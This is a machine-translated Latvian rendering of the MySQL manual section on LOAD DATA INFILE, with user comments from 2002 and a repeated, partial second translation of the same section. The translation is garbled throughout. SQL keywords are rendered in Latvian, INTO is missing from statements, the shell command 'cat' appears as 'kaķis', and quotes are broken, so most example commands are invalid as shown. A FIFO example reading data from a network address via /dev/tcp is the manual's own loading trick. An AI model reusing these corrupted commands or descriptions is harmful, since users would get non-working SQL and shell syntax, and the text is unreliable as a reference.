MySQL uzziņu rokasgrāmata. MySQL failu lasīšanas ierobežojumu apiešana PHP un MySQL mijiedarbība

IELĀDĒJIET DATU INFILE "faila_nosaukums.txt" TABULA tbl_nosaukums [ IEVĒROJAS ""] ] [(col_name,...)]

Komanda LOAD DATA INFILE nolasa rindas no teksta faila un ievieto tās tabulā ļoti lielā ātrumā. Ja ir norādīts atslēgvārds LOCAL, fails tiek nolasīts no klienta resursdatora. Ja nav norādīts LOCAL, failam jāatrodas serverī. (Opcija LOCAL ir pieejama MySQL versijā 3.22.6 un jaunākās versijās.)

Ja teksta faili, kas jālasa, atrodas serverī, tad drošības apsvērumu dēļ šiem failiem ir jāatrodas datu bāzes direktorijā vai jābūt lasāmiem visiem lietotājiem. Turklāt, lai servera failos izmantotu komandu LOAD DATA INFILE, servera resursdatorā ir jābūt FILE privilēģijām. Skatiet sadaļu 4.2.7 MySQL piešķirtās privilēģijas.

Programmā MySQL 3.23.49 un MySQL 4.0.2 komanda LOCAL nedarbosies, ja mysqld dēmons tiek startēts ar --local-infile=0 vai ja klients nav iespējots LOCAL. Skatiet sadaļu 4.2.4. Drošības apsvērumi saistībā ar komandu LOAD DATA LOCAL.

Ja ir norādīts atslēgvārds LOW_PRIORITY, šīs komandas LOAD DATA izpilde tiks aizkavēta, līdz citi klienti pabeigs lasīt tabulu.

Ja, strādājot ar MyISAM tabulām, norādāt atslēgvārdu VIENLAIDĪGS, citi pavedieni var izgūt datus no tabulas, kamēr darbojas komanda DATU IELODE. Šīs funkcijas izmantošana, protams, nedaudz ietekmēs DATU IELODES izpildi, pat ja tabulu vienlaikus neizmanto neviens cits pavediens.

Izmantojot opciju LOCAL, izpilde var būt nedaudz lēnāka nekā ļaujot serverim tieši piekļūt failiem, jo ​​faila saturam ir jāpārvietojas no klienta resursdatora uz serveri. No otras puses, šajā gadījumā vietējo failu ielādei nav nepieciešamas FILE privilēģijas.

Izmantojot MySQL versijas, kas vecākas par 3.23.24, komandu LOAD DATA INFILE nevar nolasīt no FIFO. Ja jums ir jālasa no FIFO (piemēram, gunzip stdout), jums vajadzētu izmantot LOAD DATA LOCAL INFILE .

Varat arī ielādēt datu failus, izmantojot mysqlimport utilītu. Šī utilīta lejupielādē failus, nosūtot serverim komandas LOAD DATA INFILE. Opcija --local liek mysqlimport nolasīt datu failus no klienta resursdatora. Varat norādīt opciju --compress, lai iegūtu labāku veiktspēju lēnos tīklos, ja gan klients, gan serveris atbalsta datu saspiešanas protokolu.

Gadījumos, kad faili atrodas serverī, tas darbojas saskaņā ar šādiem noteikumiem:

  • Ja ir norādīts absolūts (pilns) ceļš uz failu, serveris izmanto šo ceļu bez izmaiņām.
  • Ja failam ir norādīts relatīvs ceļš, norādot vienu vai vairākus sākuma direktorijus, fails tiks meklēts attiecībā pret norādītajiem direktorijiem servera datu direktorijā (datadir).
  • Ja faila ceļš ir norādīts, nenorādot sākuma direktorijus, serveris meklē šo failu izmantojamās datu bāzes direktorijā.

No tā izriet, ka fails, kas norādīts kā "./mans fails.txt", tiek nolasīts no servera datu direktorijas, bet fails, kas norādīts kā "mans fails.txt", tiek nolasīts no izmantotā datu bāzes direktorija. Piemēram, šī komanda LOAD DATA nolasa failu data.txt datu bāzes direktorijā db1, jo db1 ir pašreizējā datu bāze, lai gan komanda skaidri norāda ielādēt failu db2 datu bāzes tabulā:

Mysql>USE db1; mysql LOAD DATA INFILE "data.txt" TABLE db2.my_table;

Atslēgvārdi REPLACE un IGNORE kontrolē to ievades ierakstu apstrādi, kas ir esošu ierakstu dublikāti ar vienādām unikālām atslēgas vērtībām. Ja norādāt REPLACE , jaunas rindas aizstās esošās rindas ar to pašu unikālo atslēgu. Ja norādāt IGNORE , ievades rindas, kurām ir tāda pati unikālā atslēga kā esošajām, tiks izlaistas. Ja neviens no parametriem nav norādīts, tad, ja tiek atklāta atslēgas vērtības dublikāts, tiek parādīta kļūda un pārējais teksta fails tiek ignorēts.

Ja dati tiek ielādēti no lokālā faila, izmantojot atslēgvārdu LOCAL, tad šīs darbības vidū serveris nevarēs pārtraukt datu pārsūtīšanu, tāpēc komandas noklusējuma izpilde ir tāda pati kā tad, kad ir norādīts IGNORE.

Izmantojot LOAD DATA INFILE uz tukšām MyISAM tabulām, visi neunikālie indeksi tiek izveidoti atsevišķā partijā (kā REPAIR). Tas parasti ievērojami paātrina LOAD DATA INFILE, ja ir liels skaits indeksu.

Komanda LOAD DATA INFILE papildina komandu SELECT ... INTO OUTFILE. Skatiet sadaļu 6.4.1 SELECT paziņojuma sintakse. Lai rakstītu datus no datu bāzes failā, izmantojiet SELECT ... INTO OUTFILE . Lai nolasītu datus atpakaļ datu bāzē, tiek izmantots LOAD DATA INFILE. Lauku FIELDS un LINES sintakse abās komandās ir vienāda. Abas daļas nav obligātas, bet, ja ir norādītas abas, tad pirms LINES ir jābūt laukiem.

Ja ir norādīts FIELDS, katra tās apakšizteiksme (TERMINATED BY, ENCLOSED BY un ESCAPED BY) arī ir neobligāta, taču ir jānorāda vismaz viena no tām.

Ja priekšraksts FIELDS nav definēts, tā parametriem pēc noklusējuma būs šādas vērtības:

LAUKI, KAS BEIGTI AR "\t", IR AIZBEIGTI AR ""

Ja priekšraksts LINES nav definēts, tam pēc noklusējuma ir šāda struktūra:

RINDAS, KAS PĀRTRAUKTA "\n"

Citiem vārdiem sakot, ar noklusējuma iestatījumiem komanda LOAD DATA INFILE, lasot ievades datus, darbosies šādi:

  • Atrodiet rindu beigas kā "\n" rakstzīmes
  • Sadaliet rindas laukos, pamatojoties uz tabulēšanas rakstzīmēm.
  • Negaidiet, ka lauki būs ietverti citātu rakstzīmēs.
  • Interpretējiet tabulēšanas, jaunās rindas vai `\" rakstzīmes, pirms kurām ir "\", kā literāļus, kas ir daļa no lauka vērtības.

Un otrādi, ja ir spēkā noklusējuma iestatījumi rakstīšanas izvadei, komanda SELECT ... INTO OUTFILE darbosies šādi:

  • Ievietojiet tabulēšanas rakstzīmes starp laukiem.
  • Neievietojiet laukus citātu rakstzīmēs. Izmantojiet rakstzīmes "\", lai izvairītos no tabulēšanas, jaunās rindiņas vai "\" rakstzīmju gadījumiem, kas parādās starp lauka vērtībām.
  • Katra ieraksta beigās ievietojiet jaunas rindiņas.

Ņemiet vērā, ka ierakstam FIELDS ESCAPED BY `\" ir vajadzīgas divas atpakaļvērstās slīpsvītras vērtībai, kas jālasa kā viena atpakaļvērstā slīpsvītra.

Opciju IGNORE number LINES var izmantot, lai ignorētu kolonnu nosaukumu galveni faila sākumā:

Mysql LOAD DATA INFILE "/tmp/file_name" INTO TABLE tests IGNORE 1 LINES;

Izmantojot SELECT ... INTO OUTFILE kopā ar LOAD DATA INFILE, lai nolasītu datus no datu bāzes failā un pēc tam atpakaļ no faila uz datu bāzi, abu komandu lauka un virknes apstrādes opcijām ir jābūt vienādām. Pretējā gadījumā LOAD DATA INFILE nevarēs pareizi interpretēt šī faila saturu. Pieņemsim, ka komanda SELECT ... INTO OUTFILE tiek izmantota, lai rakstītu failā ar laukiem, kas atdalīti ar komatiem:

Mysql SELECT * INTO OUTFILE "data.txt" LAUKI, IZBEIGTI AR "," FROM ...;

Mysql IELĀDĒT DATU INFILE "data.txt" TABLE2 LAUKUS IZBEIGS AR ",";

Mysql> IELODĒT DATU INFILE "data.txt" TABLE2 LAUKI, KAS BEIGTI AR "\t";

Līdzīgs rezultāts tiktu iegūts, ja katra ievades rindiņa tiktu interpretēta kā atsevišķs lauks.

Komandu LOAD DATA INFILE var izmantot arī, lai nolasītu failus, kas saņemti no ārējiem avotiem. Piemēram, lauki dBASE datu bāzes formāta failā tiks atdalīti ar komatiem un ievietoti pēdiņās. Ja šajā failā rindas beidzas ar jaunām rindiņām, varat izmantot šo komandu, lai ierakstītu failu, kas ilustrē iestatījumu opcijas, kas apstrādā laukus un rindas:

Mysql> IELĀDĒT DATU INFILE "data.txt" TABLE tbl_name LAUKUS IZBEIGT AR "," AIZBEIGT AR """ RINDAS, KAS BEIGTAS AR "\n";

Jebkura no opcijām, kas apstrādā laukus un virknes, var norādīt tukšo virkni (""). Ja virkne nav tukša, tad opciju FIELDS ENCLOSED BY un FIELDS ESCAPED BY vērtībām jāsatur viena rakstzīme. LAUKI, IZBEIGTI AR un RINDAS, BEIGTI AR opciju vērtībām var saturēt vairāk nekā vienu rakstzīmi. Piemēram, lai rakstītu rindas, kas beidzas ar ``carriage return-line feed'' pāriem (kā MS DOS vai Windows teksta failos), jānorāda šāda izteiksme: LINES TERMINATED BY "\r\n" .

CREATE TABLE jokus (INT NOT NULL AUTO_INCREMENT PRIMARY KEY, joks TEXT NOT NULL); IELĀDĒT DATU INFILE "/tmp/jokes.txt" TABULAS joku LAUKUS, KAS PĀRTRAUKTS ""; RINDAS, KAS BEIGTAS AR "\n%%\n" (joks);

Opcija FIELDS ENCLOSED BY kontrolē laukus, kas ir ietverti noteiktās rakstzīmēs. Ja parametrs OPTIONALLY ir izlaists, tad izvadē (SELECT ... INTO OUTFILE) visi lauki tiks ietverti rakstzīmēs, kas norādītas sadaļā ENCLOSED BY . Šādas izvades piemērs (izmantojot komatu kā lauka atdalītāju) ir parādīts zemāk:

"1","virkne","100.20" "2","virkne, kas satur , komatu","102.20" "3","virkne, kas satur \" pēdiņu","102.20" "4"," virkne, kas satur \", pēdiņu un komatu","102.20"

Ja ir norādīts parametrs IZVĒLES, tad tikai CHAR un VARCHAR tipa lauki tiek iezīmēti ar rakstzīmi, kas norādīta sadaļā AIZVĒRTĪBA:

1"virkne",100.20 2"virkne, kas satur , komatu",102.20 3,"virkne, kas satur \"pēdiņu",102.20 4,"virkne, kas satur \", pēdiņu un komatu",102.20

Lūdzu, ņemiet vērā, ka ENCLOSED BY rakstzīmju parādīšanās lauka vērtībā tiek izmantota, pievienojot tām prefiksu no ESCAPED BY. Ņemiet vērā arī to, ka, ja vērtība ESCAPED BY ir tukša, ir iespējams izveidot izvadi, kuru LOAD DATA INFILE priekšraksts nevar nolasīt pareizi. Piemēram, ja atsoļa rakstzīme ir tukša virkne, tad iepriekš parādītā izvade būs tāda, kā parādīts tālāk. Ņemiet vērā, ka otrajā laukā ceturtajā rindā ir komats aiz pēdiņām, kas (kļūdaini) norobežo šo lauku:

1"virkne",100.20 2"virkne, kas satur , komatu",102.20 3,"virkne, kas satur "pēdiņu",102.20 4,"virkne, kas satur ", pēdiņu un komatu",102.20

Ievadīšanai rakstzīme ENCLOSED BY, ja tāda ir, tiek noņemta no abiem lauka vērtību galiem. (Tas ir taisnība neatkarīgi no tā, vai parametrs OPTIONALLY ir norādīts vai nav norādīts; OPTIONALLY parametrs netiek ņemts vērā, strādājot ar ievades datiem.) Ja tiek atrasta rakstzīme ENCLOSED BY, pirms kuras ir rakstzīme ESCAPED BY, tā tiek interpretēta kā daļa no lauka pašreizējā vērtība. Turklāt laukā esošās dubultās ENCLOSED BY rakstzīmes tiek interpretētas kā atsevišķas ENCLOSED BY rakstzīmes, ja pats lauks sākas ar šo rakstzīmi. Piemēram, ja ir norādīts AIZVĒRTS """, citāti tiek apstrādāti šādi:

""Lielais"" boss" -> "LIELS" priekšnieks "LIELS" priekšnieks -> "LIELS" priekšnieks ""LIELS"" priekšnieks -> "LIELS" priekšnieks

Opciju FIELDS ESCAPED BY izmanto, lai kontrolētu rakstīšanu vai lasīšanu īpašās rakstzīmes. Ja rakstzīme FIELDS ESCAPED BY nav tukša, tā izvadē tiek izmantota kā prefikss šādām rakstzīmēm:

  • LAUKI, KAS IZBŪT AR simbolu
  • LAUKUS AIZVĒRO AR simbolu
  • Pirmā rakstzīme vērtībām FIELDS TERMINATED BY un LINES TERMINATED BY
  • ASCII rakstzīme 0 (faktiski ASCII 0 ir rakstīta aiz atsoļa rakstzīmes, nevis baits ar nulles vērtību)

Ja rakstzīme FIELDS ESCAPED BY ir tukša, tad neviena rakstzīme netiek izmantota. Faktiski nav jēgas norādīt tukšu atsoļa rakstzīmi, it īpaši, ja lauka vērtības apstrādātajos datos satur kādu no rakstzīmēm iepriekš minētajā sarakstā.

Ja rakstzīme FIELDS ESCAPED BY nav tukša, tad ievaddatu gadījumā šādas rakstzīmes gadījumi tiek noņemti un pēc šāda gadījuma esošā rakstzīme tiek uztverta burtiski kā lauka vērtības daļa. Izņēmumi tiek atsoļoti ar 0 vai N (piemēram, \0 vai \N, ja atsoļa rakstzīme ir '\). Šīs secības tiek interpretētas kā ASCII 0 (nulles vērtības baits) un NULL . Skatiet noteikumus par NULL vērtības apstrādi. zemāk.

Lai iegūtu vairāk pilna informācija Atsoļa rakstzīmes `\" sintaksi skatiet sadaļā 6.1.1 Literāļi: virkņu un skaitļu attēlošana.

Dažos gadījumos lauka un rindu apstrādes opcijas mijiedarbojas:

  • Ja LINES TERMINATED BY ir tukša virkne un FIELDS TERMINATED BY nav tukša virkne, tad arī rindas beidzas ar rakstzīmēm FIELDS TERMINATED BY.
  • Ja lauki FIELDS TERMINATED BY un FIELDS ENCLOSED BY ir tukši (""), tiek izmantots fiksētās virknes formāts (bez atdalītājiem). Fiksētās līnijas formāts nenodrošina atdalītājus starp laukiem. Tā vietā, lasot un rakstot kolonnu vērtības, tiek izmantots kolonnu "izejas" platums. Piemēram, ja kolonna ir deklarēta kā INT(7), šīs kolonnas vērtības tiek rakstītas, izmantojot 7 rakstzīmju platus laukus. Šīs kolonnas ievades vērtības tiek iegūtas, nolasot 7 rakstzīmes. Fiksētas virknes formāts ietekmē arī NULL vērtību apstrādi (skatiet tālāk). Ņemiet vērā, ka fiksētā izmēra formāts nedarbosies, ja tiek izmantota vairāku baitu rakstzīmju kopa.

NULL vērtības tiks apstrādātas atšķirīgi atkarībā no izmantotajām FIELDS un LINES opcijām:

  • Noklusējuma FIELDS un LINES vērtībām NULL tiek rakstīts kā \N izvadei un \N tiek lasīts kā NULL ievadei (pieņemot, ka rakstzīme ESCAPED BY ir `\").
  • Ja lauks FIELDS ENCLOSED BY nav tukšs, tad lauks, kura vērtība ir NULL burta vārds, tiek nolasīts kā vērtība NULL (pretstatā vārdam NULL, kas atrodas starp rakstzīmēm FIELDS ENCLOSED BY, kas tiek lasīts kā virkne "NULL").
  • Ja lauks FIELDS ESCAPED BY ir tukšs, NULL tiek rakstīts kā vārds NULL .
  • Fiksētas virknes formātā (kas notiek, ja gan FIELDS TERMINATED BY, gan FIELDS ENCLOSED BY specifikācijas ir tukšas), NULL tiek rakstīts kā tukša virkne. Ņemiet vērā, ka tas izraisa NULL vērtību un tukšu virkni dotajā tabulā, ierakstot failā, tās nevar atšķirt, jo tās abas ir ierakstītas kā tukšas virknes. Ja vēlaties, lai šīs vērtības atšķirtos, kad fails tiek lasīts atpakaļ, neizmantojiet fiksētās līnijas formātu.

Daži gadījumi, ko neatbalsta paziņojums LOAD DATA INFILE:

  • Fiksēta izmēra rindas (FIELDS TERMINATED BY un FIELDS ENCLOSED BY ir tukšas) un kolonnas BLOB vai TEXT.
  • Ja ir norādīts norobežotājs, kas ir tāds pats kā citam vai ir prefikss citam, LOAD DATA INFILE nevarēs pareizi interpretēt ievadi. Piemēram, šāds FIELDS priekšraksts radītu problēmas: LAUKI, IZBEIGTI AR """ AIZBEIGTI AR """
  • Ja opcija FIELDS ESCAPED BY ir tukša, rakstzīmes FIELDS ENCLOSED BY vai LINES TERMINATED BY parādīšanās lauka vērtībā, kam seko rakstzīme FIELDS TERMINATED BY, liek komandai LOAD DATA INFILE priekšlaicīgi pārtraukt lauka vai rindas lasīšanu. Tas notiek tāpēc, ka LOAD DATA INFILE nevar pareizi noteikt, kur beidzas lauks vai līnija.

Šis piemērs ielādē visas personas datu tabulas kolonnas:

Mysql LOAD DATA INFILE "persondata.txt" TABLE persondata;

Lauku saraksts nav norādīts, tāpēc komanda LOAD DATA INFILE paredz, ka ievades rindas aizpildīs katru tabulas kolonnu. Tiek izmantotas noklusējuma vērtības FIELDS un LINES.

Ja vēlaties ielādēt tikai dažas tabulas kolonnas, jānorāda kolonnu saraksts:

Mysql> LOAD DATA INFILE "persondata.txt" TABLE persondata (col1,col2,...);

Lauku saraksts jānorāda arī gadījumos, kad ievades failā lauku secība atšķiras no šīs tabulas kolonnu secības. Pretējā gadījumā MySQL nevarēs saskaņot ievades laukus un tabulas kolonnas.

Ja rindā ir pārāk maz lauku, kolonnām, kurām ievades failā nav lauku, tiek iestatītas to noklusējuma vērtības. Noklusējuma vērtību piešķiršana ir aprakstīta sadaļā 6.5.3. IZVEIDOT TABULU Paziņojuma sintakse.

Tukša lauka vērtība tiek interpretēta citādi nekā bez vērtības:

  • Virkņu veidiem kolonna ir iestatīta uz tukšu virkni.
  • Skaitliskajiem veidiem kolonna ir iestatīta uz 0.
  • Datuma un laika tipiem kolonna ir iestatīta uz atbilstošo šī veida vērtību ``null''. Skatiet sadaļu 6.2.2 Datuma un laika datu tipi.

Ņemiet vērā, ka šīs ir tās pašas vērtības, kas nonāktu kolonnā, ja komandā INSERT vai UPDATE virknes, skaitļu vai datuma/laika kolonnām tiktu piešķirta tukša virkne.

TIMESTAMP tipa kolonnās tiek iestatīts tikai pašreizējais datums vai laiks, ja kolonna ir iestatīta uz NULL vai (tikai pirmajai TIMESTAMP kolonnai), ja kolonna TIMESTAMP atrodas ārpus lauku saraksta, ja šāds saraksts ir norādīts.

Ja ievades virknē ir pārāk daudz lauku, papildu lauki tiks ignorēti un brīdinājumu skaits palielināsies.

Komanda LOAD DATA INFILE visu ievadi interpretē kā virknes, tāpēc kolonnām ENUM vai SET nevar norādīt skaitliskas vērtības tāpat kā komandām INSERT. Visas ENUM un SET vērtības jānorāda kā virknes!

Izmantojot C API, varat iegūt vaicājuma informāciju, vaicājuma beigās izsaucot funkciju mysql_info() API, LOAD DATA INFILE . Informācijas līnijas formāts šim gadījumam ir parādīts zemāk:

Ieraksti: 1 Dzēsti: 0 Izlaisti: 0 Brīdinājumi: 0

Brīdinājumi tiek izdoti tādos pašos apstākļos kā rakstot vērtības ar komandu INSERT (skatiet sadaļu 6.4.3 INSERT paziņojuma sintakse), izņemot to, ka komanda LOAD DATA INFILE papildus ģenerē brīdinājumus, ja ievades virknē ir pārāk maz vai pārāk daudz lauku. Brīdinājumi nekur netiek glabāti; Brīdinājumu skaitu var izmantot tikai, lai pārbaudītu, vai norādītās darbības tika veiktas normāli. Ja vēlaties precīzi zināt, kas izraisīja brīdinājumus, vienīgais veids, kā iegūt šo informāciju, ir palaist SELECT ... INTO OUTFILE citā failā un salīdzināt rezultātu ar sākotnējo ievades failu.

Ja jums ir jāveic LOAD DATA, lai nolasītu no caurules, varat izmantot šādu triku:

Mkfifo /mysql/db/x/x chmod 666 /mysql/db/x/x cat /nt/mysql/db/x/x mysql -e "LOAD DATA INFILE "x" TABLE x

Izmantojot MySQL versiju, kas vecāka par 3.23.25, iepriekš minēto var veikt tikai ar LOAD DATA LOCAL INFILE .

Lai iegūtu vairāk Detalizēta informācija Informāciju par INSERT efektivitāti salīdzinājumā ar LOAD DATA INFILE un LOAD DATA INFILE ātrumu skatiet sadaļā 5.2.9 INSERT vaicājumu ātrums.

Lietotāju komentāri

Iesūtījis Džeisons Tituss[Dzēst] [Rediģēt]

"Brīdinājumi nekur netiek glabāti; brīdinājumu skaitu var izmantot tikai kā
norāde, vai viss noritēja labi"

Tu noteikti mani joko. Vai tas tiek darīts kā sava veida DBA sods? t.i. - Mēs
ZINĀT, kādas bija problēmas, bet jums būs tikai jāizveido izvades fails un jāizpēta
jūsu miljoniem ierakstu, lai tos atrastu." Vai MySQL tos neievietoja kļūdu žurnālā,
kur viņi pieder? Iet uz priekšu un padariet to par opciju, taču ar to pietiek
Es pāreju atpakaļ uz Oracle (un tas prasa daudz).

Ievietoja Campbell piektdien, 2002. gada 17. maijā, plkst. 6:24[Dzēst] [Rediģēt]

Otrkārt, ka. (!) Es nesaprotu, kā jūs
uzraksti šo teikumu ar taisnu seju.

Ievietoja Džonatons Pedfīlds piektdien, 2002. gada 17. maijā, plkst. 6:24[Dzēst] [Rediģēt]

Tāpat nav informācijas par to, kuras rindas tiek izlaistas
ir dots.

Ievietoja piektdien, 2002. gada 17. maijā, 6:24[Dzēst] [Rediģēt]

Šī funkcija ir ļoti noderīga, iesniedzot
INSERT no tīmekļa lapas. Ja lietotājs trāpa
atsvaidzināt un atkārtoti izlikt datus, kas rada a
pēc tam INSERT to pašu primārās atslēgas datus,
uzplaukums, lietotne sabojājas. Tādā veidā lietotājs varētu
nospiediet F5, līdz viņu seja kļūst zila, un viņi
nepārkāps REPLACE paziņojumu.

[Dzēst] [Rediģēt]

Man ir mape MyDB mapē c:\mysql\data
Es ievietoju tur Data.txt un izpildu
IELĀDĒJIET DATU LOKĀLĀ INFILE "Data.txt" TABULĀ
MyTable teikts: komanda ir veiksmīgi izpildīta
bet MyTable netiek pievienotas nekādas vērtības.
Es esmu zem W2K

Ievietoja van Hof Philip piektdien, 2002. gada 17. maijā, plkst. 6:24[Dzēst] [Rediģēt]

Es vēlos sinhronizēt savu datu bāzi ar citu
datubāze laiku pa laikam. Tas nozīmē, ka es
būs jāizmanto REPLACE lieta. Bet par ko
ieraksti, kas jaunākajā versijā vairs nepastāv
datu bāze. Vai tie tiks dzēsti no MySQL?
Vai ir kāds veids, kā tos automātiski izdzēst? Vai arī ir
vienīgais risinājums nomest manu MySQL tabulu un izveidot no jauna
pirms sāku to ielādēt. Es izmantoju crontab
šīs operācijas skripti, lai nebūtu cilvēku mijiedarbības
ir iespējams šo operāciju laikā.

Ievietoja piektdien, 2002. gada 17. maijā, 6:24[Dzēst] [Rediģēt]

Dokumentācijā nav skaidrs, par ko
veido "unikālu" atslēgu/indeksu šajā jomā. Tas
aizmugures atsauces uz "ievietot", bet ievietot nav
ir šāds ierobežojums. Es atklāju, ka tas ir primārais
atslēgas ir pietiekami unikālas, bet man bija jāpievieno
sākumskolas, kur es tās negribēju. Varbūt es esmu
kaut kā pietrūkst....

Ievietoja piektdien, 2002. gada 17. maijā, 6:24[Dzēst] [Rediģēt]

Ir ļoti nomākta saņemt brīdinājumus, ja tādi ir
importējot datus MySQL datu bāzē, nevis būt
var piekļūt jebkurai informācijai par brīdinājumiem.
MySQL patiešām ir jāpievieno funkcija, kas to darīs
ziņojiet, PAR ko ir brīdinājums, nevis vienkārši
ziņot par brīdinājumu. Ideālā gadījumā informācija par
brīdinājums jāsniedz nekavējoties. Plkst
vismaz kaut kādam kļūdu žurnālam vajadzētu būt
izveidots, kam lietotājs var piekļūt.

Ievietoja piektdien, 2002. gada 17. maijā, 6:24[Dzēst] [Rediģēt]

Par tēmu "F5, līdz viņu seja kļūst zila"...

Tas ir jārisina pieteikumā. Tas
noteikti nenāk par ļaunu pateikt lietotājam: "Tu esi."
jau ir ievadījis šo. Lūdzu, beidziet atsvaidzināt."

Patiesībā, sakarā ar skaitu, hiperpacietīgs beigām
luzeri, tas šķiet īpaši
laba ideja.

Ievietoja Lerijs Irvins otrdien, 2002. gada 20. augustā, plkst. 11:50[Dzēst] [Rediģēt]

Būtu ļoti noderīgi, ja būtu papildu opcija
uz "IGNORE IEROBEŽOJUMI" iekraušanas laikā
process.

Ievietoja ceturtdien, 2002. gada 5. septembrī, 01:34[Dzēst] [Rediģēt]

Ir nozveja ar "uz tukša MyISAM galda, viss
neunikāli indeksi tiek izveidoti atsevišķā partijā"
jo izmantotais mehānisms ir "remonts ar
keycache", kas var būt ļoti lēns, ja jums ir daudz
indeksi. Cilvēkam patiešām ir jāizmanto mehānisms
apturēt taustiņu izveidi un pēc tam veikt remontu ar
myisamchk, izmantojot "remonts ar šķirošanu", kā aprakstīts sadaļā
5.2.9. sadaļa (ja tu vari lai strādā:-()

Ievietoja trešdien, 2002. gada 9. oktobrī, plkst. 12:43[

Sintakse LOAD DATA INFILE

IELĀDĒT DATU INFILE " faila nosaukums. txt" TABULĀ tabulas_nosaukums
[PIEVIENO "]
]
]
[(kolonnas_nosaukums,...)]
Paziņojums LOAD DATA INFILE nolasa rindas no teksta faila un ļoti lielā ātrumā ielādē tās tabulā.
Varat arī ielādēt datu failus, izmantojot mysql importēšanas utilītu. Tas darbojas, serverim nosūtot LOAD data INFILE paziņojumu. Opcija --local liek utilītai mysqlimport nolasīt datu failu no klienta resursdatora. Varat norādīt opciju -compress, lai uzlabotu veiktspēju lēnos tīklos, ja klients un serveris atbalsta saspiesto protokolu.
Ja ir norādīts atslēgvārds LOW_PRIORITY, paziņojuma LOAD DATA izpilde tiek aizkavēta, līdz visi citi klienti ir pabeiguši nolasīšanu.
Ja CONCURRENT atslēgvārds ir norādīts ar MyISAM tabulu, kas atbilst vienlaicīgas ievietošanas nosacījumam (tas ir, faila vidū nav brīvu bloku), citi pavedieni varēs izgūt datus no tabulas tajā pašā laikā, kad tiek ielādēts. DATA tiek veikta. Šīs opcijas izmantošana nedaudz ietekmē DATU IELODES veiktspēju, pat ja tabulā nedarbojas neviens cits pavediens.
Ja ir norādīts atslēgvārds LOCAL, tas ietekmē savienojuma klienta pusi.

  1. Ja ir norādīts LOCAL, failu nolasa klienta programma klienta resursdatorā un nosūta uz serveri.
  2. Ja vārds LOCAL nav norādīts, lejupielādētajam failam ir jāatrodas servera resursdatorā, un serveris to lasa tieši.

LOCAL ir pieejams MySQL 3.22.6 un jaunākās versijās.
Drošības apsvērumu dēļ, lasot teksta failus, kas atrodas serverī, failiem ir jāatrodas datu direktorijā vai jābūt lasāmiem visiem. Turklāt, lai izmantotu DATU IElādēšanu ar servera failiem, jums ir jābūt FILE privilēģijai.
Lejupielāde ar opciju LOCAL notiek nedaudz lēnāk nekā tad, kad serverim dod iespēju tieši piekļūt lejupielādētajiem failiem, jo ​​šajā gadījumā failu saturs tiek pārsūtīts tīklā caur klienta-servera savienojumu. No otras puses, šajā gadījumā jums nav nepieciešamas FILE privilēģijas.
Kopš MySQL 3.23.49 un MySQL 4.0.2 (4.0.13 operētājsistēmā Windows), LOCAL darbojas tikai tad, ja to atļauj gan klients, gan serveris. Piemēram, ja mysqld tiek palaists ar opciju -local-inf ile=0, tad LOCAL nedarbosies.

Ja jums ir jālasa no programmas caurules, izmantojot LOAD DATA, varat izmantot šādu paņēmienu:
mkfifo /mysql/db/x/x
chmod 666 /mysql/db/x/x
kaķis< /dev/tcp/10.1.1.12/4711 >/mysql/db/x/x
mysql -e "LOAD DATA INFILE "x1 TABLE x" x
Ja strādājat ar MySQL versiju, kas ir vecāka par 3.23.25, šo paņēmienu var izmantot tikai ar LOAD DATA LOCAL INFILE.
Ja jums ir MySQL versija, kas ir vecāka par 3.23.24, jūs nevarēsit lasīt no FIFO, izmantojot LOAD DATA INFILE priekšrakstu. Ja jums ir jālasa no FIFO (piemēram, no gunzip izvades), tā vietā izmantojiet LOAD DATA LOCAL INFILE.
Meklējot failu savā failu sistēmā, serveris vadās pēc šādiem noteikumiem:

  1. Ja ir norādīts absolūtais ceļš, serveris to izmanto tādu, kāds tas ir.
  2. Ja ir norādīts relatīvs ceļš ar vienu vai vairākiem vadošajiem komponentiem, serveris meklē failus saistībā ar tā datu direktoriju.
  3. Ja ir norādīts faila nosaukums bez sākuma ceļa komponentiem, serveris meklē failu noklusējuma datu bāzes datu direktorijā.

Ņemiet vērā, ka šie noteikumi nozīmē, ka fails ar nosaukumu ./myfile.txt tiek nolasīts no servera datu direktorijas, bet fails ar nosaukumu myfile,txt tiek nolasīts no noklusējuma datu bāzes datu direktorija. Piemēram, šis priekšraksts LOAD DATA INFILE nolasa failu data.txt no dbl datu direktorijas, jo dbl ir pašreizējā datu bāze, lai gan priekšraksts ielādē datus db2:
mysql>USE dbl;
mysql> IELOADĒT DATU INFILE "data.txt" TABLE db2.my_table;
Atslēgvārdu REPLACE un IGNORE vadīkla darbojas ar ievades virknēm, kuru vērtība dublē esošās unikālās atslēgas.
Ja ir norādīts REPLACE, ievades rindas aizstāj esošās rindas (citiem vārdiem sakot, rindas, kurām ir tādas pašas primārās vai unikālās atslēgas vērtības kā esošajām tabulā esošajām rindām). Skatiet REPLACE Sintakse
Ja ir norādīts Ignorēt, ievades rindas, kas ir esošo rindu dublikāti ar vienādām primārās vai unikālās atslēgas vērtībām, tiek izlaistas. Ja neviena opcija nav norādīta, darbība ir atkarīga no tā, vai ir norādīts vietējais atslēgvārds. Ja LOCAL nav, ja tiek atklāta atslēgas dublikāts, tiek ģenerēta kļūda un pārējais teksta fails tiek ignorēts. Ja ir LOCAL, noklusējuma darbība ir tāda pati kā tad, ja būtu norādīts Ignorēt. Tas ir tāpēc, ka serveris nevar apturēt failu pārsūtīšanu, kamēr notiek darbība.
Ja vēlaties ignorēt ārējās atslēgas ierobežojumus datu ielādes darbības laikā, pirms LOAD DATA palaišanas varat izdot priekšrakstu SET FOREIGN_KEY_CHECKS=0.
Ja palaižat LOAD DATA tukšā MyISAM tabulā, visi neunikālie indeksi tiek izveidoti atsevišķā darbā (tāpat kā REPAIR TABLE). Tas parasti noved pie tā, ka DATU IELODE ir daudz ātrāka, ja ir daudz indeksu. Parasti tas darbojas ļoti ātri, taču dažos īpašos gadījumos indeksus var izveidot vēl ātrāk, pirms ielādes tos atspējojot, izmantojot ALTER TABLE...DISABLE KEYS.

failu tabulā, atkārtoti izveidojot indeksus un iespējojot tos, izmantojot ALTER TABLE... Ieslēgt taustiņus, kad ielāde ir pabeigta.
LOAD DATA INFILE ir papildinājums SELECT...INTO OUTFILE. Skatiet ATLASĪT Sintakse Lai ierakstītu datus no tabulas failā, izmantojiet SELECT... INTO OUTFILE. Lai nolasītu datus atpakaļ no faila tabulā, izmantojiet LOAD DATA INFILE. Konstrukciju FIELDS un LINES sintakse abiem priekšrakstiem ir vienāda. Abas šīs konstrukcijas nav obligātas, taču laukiem ir jābūt pirms LINES, ja abi ir norādīti.
